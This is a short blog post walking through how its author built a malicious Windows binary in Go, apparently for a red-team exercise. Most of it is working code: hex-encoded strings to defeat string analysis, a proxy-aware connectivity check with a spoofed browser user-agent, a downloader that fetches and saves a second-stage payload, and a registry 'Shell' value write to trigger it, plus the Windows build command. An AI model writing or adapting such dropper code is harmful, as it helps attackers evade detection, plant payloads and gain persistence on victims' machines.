Go make your own malicious binary

Gabe Thompson
3 min readNov 20, 2020

Presented with a task, if given a loose set of guidance, I’m going to follow my own path. It’s not always the case and I’m sure a lot of folks may not have that flexibility.

This is the reason I chose to write in Golang. Let’s put my self reflection in being able to “quickly” put something together using a language I’ve never touched while leveraging my so called programming degree and my ability to understand how to legitimately interact with systems.

So what should a malicious binary do?

That’s really up to the writer’s choice. When I think of interaction with an operating system, what is considered normal or should be normal enough to blend in with everything else. After all, alerting on behavior is what should be happening but if you are performing seemingly benign behavior, that should fly under the radar.

I took some basic interaction that can happen with ransomware and/or malicious files and started to build out my program flow.

Since I don’t want something simple as strings giving a good view into my program, let’s use some hex encoding and decoding. So we have our first function to handle decoding string variables.

// WaitWhat : Nevermind
func WaitWhat(curl string) string {
str := curl
bs, err := hex.DecodeString(str)
if err != nil {
panic(err)
}
return string(bs)
}

Knowing a target environment is key. Building in a function to handle certain aspects of an environment is pretty good as well. Let’s see, a number of organizations use web proxies. Digging into Windows, we can get the system set web proxy, if one is set, and set it for our means of use. A file might want to talk to the outside world, better yet, a file might see if it can reach the internet before performing any other action. Thus if it can’t communicate out, don’t do anything else and exit gracefully.

// Think : R-E-S-P-E-C-T
func Think(c string) error {
hurl := WaitWhat(c)
var PTransport = & http.Transport { Proxy: http.ProxyFromEnvironment }
client := http.Client { Transport: PTransport }
req, err := http.NewRequest("GET", hurl, nil)
req.Header.Add("User-Agent",`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Edg/83.0.478.64`)
resp, err := client.Do(req)
//resp, err := http.Get(hurl)
if err != nil {
return err
}
resp.Body.Close()
//_, err = io.Copy(out, resp.Body)
return err
}

Now let’s say we can get out to the internet. First we could reach out to something common, say google, bing, etc. Then if successful, we could attempt to download another payload. We can define a path to put this new binary and proceed with the download. Now if it doesn’t work, let’s exit gracefully as well. But if it does work, then let us continue.

// Sabotage: Robert Muldoon
func Sabotage(filepath string, url string) error {
var PTransport = & http.Transport { Proxy: http.ProxyFromEnvironment }
client := http.Client { Transport: PTransport }
req, err := http.NewRequest("GET", url, nil)
req.Header.Add("User-Agent",`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Edg/83.0.478.64`)
resp, err := client.Do(req)
//resp, err := http.Get(url)
if err != nil {
return err
}
defer resp.Body.Close()
out, err := os.Create(filepath)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
return err
}

So we got a malicious binary, that reaches out to the internet to check connectivity to a relatively “safe” location. Then if that checks out, let’s try to download our secondary payload. If that is successful, let’s tuck it away and blend in. Finally we can fiddle with a registry key to trigger our payload. There are some common places to add a registry key or modify one to trigger. Certainly not opsec safe but the original ask is loose enough to allow such liberties.

// Intergalactic: Nickels and Dimes
func Intergalactic(d string, f string) error {
k, err := registry.OpenKey(registry.CURRENT_USER, WaitWhat(d), registry.QUERY_VALUE|registry.WRITE)
if err != nil {
return err
}
if err := k.SetStringValue("Shell", WaitWhat(f)); err != nil {
return err
}
defer k.Close()
return err
}

While these functions help outline what I wanted to accomplish, we still need to create a main function and overall control the flow of the program, binary, etc. I’ve got that tucked up in the cloud as well, just over on my GitHub.

You will need to compile the file to match your target operating system and architecture.

go@go: GOOS="windows" GOARCH="amd64" go build -o nought.exe Njc2ZjZmNjc2Yzc5NjU3OTY1NzM.go

--

--